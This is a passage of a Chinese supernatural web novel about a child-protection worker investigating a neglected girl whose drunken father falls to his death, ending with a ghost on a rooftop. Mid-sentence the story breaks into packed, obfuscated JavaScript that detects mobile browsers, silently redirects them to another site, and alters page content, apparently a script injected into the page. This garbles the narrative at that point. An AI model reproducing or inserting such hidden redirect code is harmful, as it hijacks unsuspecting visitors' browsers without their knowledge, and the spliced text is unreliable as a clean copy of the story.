黑皮闪着亮晶晶的眼睛,好像真的听懂了一样。 谢然仰躺在床上,右手在床头柜上摸索了片刻,手上捏了一张小小的符纸。 片刻之后,他闭眼“睡”了过去。 雨夜风急,宋绮梦撑开伞,顶住狂风,勉强迈着步子来到十二栋楼下,看了看老旧的小区和略显破败的楼面,叹了口气。 显然是贫民区,不仅小区老旧,连个电梯都没有。 求助者住在十五楼,她只能一步一步走上去。 1503门前一片脏乱,男鞋女鞋四处都是,带着“出入平安”字眼的地毯也是积攒了陈年的尘土,想来许久没有人打扫过了。 宋绮梦抬手敲了敲门,许久都没人回应。 她又加重了力气,重重拍了几下。 里面隐约听到慌乱的脚步声,绊倒了玻璃瓶子,满地清脆作响。 随后,有个人似乎在里面隔着猫眼观察了她许久,才小心翼翼地拉开了一道门缝。 “你好,我是人类保护组织中心的工作人员,我姓宋。”宋绮梦把自己通讯器上面的身份信息调出来送到门缝边:“我们接收到了媛媛父母的求救信息,请问这里是井媛的家吗?” 门开得大了点,是一位干枯瘦小的中年妇女,脸上皱纹太多,几乎将眼睛挤得睁不开来。 “原来是人保的,请进请进。”她局促地搓着手,尽可能地表现出欢迎的样子来。 不出所料,门里也是一团脏乱,宋绮梦没有喝她递过来的水,甚至没有坐下,只轻声问道:“井媛是您的女儿吗?” 中年妇女点点头。 “她现在在……”宋绮梦迟疑。 “哦,去上学了,晚自习,还没回来。”井媛妈妈答道。 宋绮梦略微觉得有些不对劲——这些年,新生儿数量极少,快乐教育施行,怎么还会有大周末上晚自习的学校?而且井媛才12岁,大概率还没上初中。 “您要不到她房间看看?”井媛妈妈陪笑着问。 宋绮梦到房间里去转了一遭,强忍住皱眉头的想法,只略微看了看就走了出来。 除了脏和乱之外,布置倒像是个普通的小女孩。 “那她什么时候回来?”宋绮梦问。 “不知道。” 这个意外的回答令宋绮梦惊诧不已,井媛妈妈像是发现了什么,慌忙改口:“她爸爸去接了,有时候会带着她逛一逛,我也不知道他们具体几点回来。” 这么晚了,也不好一直在这里等,因为井媛妈妈说井媛明天休假在家,宋绮梦便同她说好了,明天再来。 在小区里溜达了两圈,并没有什么特别的发现,也许是天晚了,几乎没有遇到其他人,只见到一个醉醺醺的男人,往十二栋去了。 宋绮梦经过十二栋楼下,忽然发现楼下草丛中有细微的动静。 她本来以为是流浪猫,但拨开草丛才发现,竟然是一个年纪不大的小女孩。 小女孩闻声回过头来,宋绮梦明显怔住了。 这分明就是刚才求救信息里的井媛。 “你是……媛媛?”她怕吓着了她,轻声问道。 小女孩下意识点点头,随即又摇摇头,显然担心眼前人是坏人。 “你别怕,我不是坏人。”宋绮梦试探着伸出手去,把她从草丛里拉起来:“你怎么一个人在这里,你爸爸呢?” 井媛瘪着嘴不说话。 宋绮梦这才注意到她身上穿着破旧的校服,几乎看不清校徽,背后的书包是hello kitty的,但原本的粉色已经脏污不堪,看上去像黑色。 宋绮梦已经在心里猜测到井媛的心理问题大概率是来源于贫穷的居住环境和父母,毕竟出身难以选择,刚进入青春期的孩子能够敏锐发觉到自己与其他同学的差异,进而产生敏感自卑、甚至轻生的想法。 “我送你回去,好不好?” 井媛点了点头。 爬到十五楼,到了门口,井媛却忽然停住了脚步,说什么也不肯往前走了。 宋绮梦脸色也变得难看起来——1503 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204859|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门里,清晰传来一个男人发酒疯骂人、砸东西的动静。 抬手看看表,现在的时间已经快到00:00,井媛应该回去休息了。 可男人的骂声并没有停止。 宋绮梦发觉井媛的手变得僵直又沉重,她忽然撇开宋绮梦的手,挣脱开来,拼命向楼下跑去。 “媛媛!”宋绮梦忙着去追,可小孩子的步子很快,只听到有脚步声在跟前,并没有追上人。 跟着脚步声一直跑到楼下,还是没看到人影。 宋绮梦一边大声喊着媛媛,一边四处搜寻起来。 在小区里转了一圈,没有寻见。 她拿出通讯器,点开进行中的任务,选取了“需要帮助”这个选项。 她需要组织尽快调拨几个后勤处的人来,带着媛媛去儿童保护中心住几天。 贫瘠的母亲、酒鬼父亲,怎么看都不是儿童该有的生存环境。 谁知,消息还没发出去,不远处传来的一声巨响,震得宋绮梦整个人都怔在了原地。 寂静的夜色中,除了这声巨响外,再没有半点声音传来,宋绮梦试探着向前走了几步,见十二栋楼下,有个人形黑影躺在地上,一动不动。 走近一瞧,是刚刚在楼下遇到的醉醺醺的中年男人,此时正躺在一片血泊中,犹如一滩烂泥一样四肢扭曲,眼睛微睁,可眼中已经失去了生命的光彩。 宋绮梦再没见过类似场景,也不难猜出,该男子是从楼上掉下来的。 一边用发抖的手拨通了组织的紧急救援电话,一边抬头向上看去。 不对,顶楼上,仿佛还有一个人影,那影子摇摇欲坠,似乎马上就要掉下来。 隐约看过去,像是一个年龄不大的小孩子。 心里有种不祥的预感,她瞬间想到了媛媛,顿时又拼命向顶楼冲去。 气喘吁吁地冲到楼顶,找遍了所有地方,也没发现刚才的身影所处的位置。 难道是她看错了? 不知道什么时候,已经停了的夜雨又淅淅沥沥地下起来,宋绮梦打开伞,看着光秃秃的天台,一时间不知道该如何是好。 刚刚跳楼的男子,是她在十二栋楼下遇到的醉酒男人,媛媛似乎紧随其后,她们才到1503门口,就听到了醉酒男子撒酒疯…… 这一切的巧合,都指向一个答案——跳楼男子,很可能就是媛媛的父亲。 难道是她的母亲不堪其扰,趁着夜色做出了决定?还是醉酒之人在阳台发疯,导致意外坠楼? 她站在天台外沿向下看了一眼,男人的尸体还在楼下,不知道刚才站在天台上的媛媛有没有看到这一幕,宋绮梦忽然觉得有些揪心。 这么小的孩子,也不知道为什么这样命苦。 还没来得及叹息,她骤然发现四周气温似乎降了许多,冰凉的雨水裹挟着冷意纷纷向她砸来,雨伞都挡不住这样突然的雨滴袭击。 敏锐地察觉到不对,宋绮梦迅速蹲下身子,将重心降到极低,大大缓解了即将被这场劲风吹下楼的危机。 此时,一股凌厉的气息带着浓浓的血腥味蔓延开来,越来越重,一道浓得化不开的黑紫色烟雾在宋绮梦身边逐渐化成人形,暗哑粗粝的声音一字一句地传来。 “姐姐,来陪我吗?”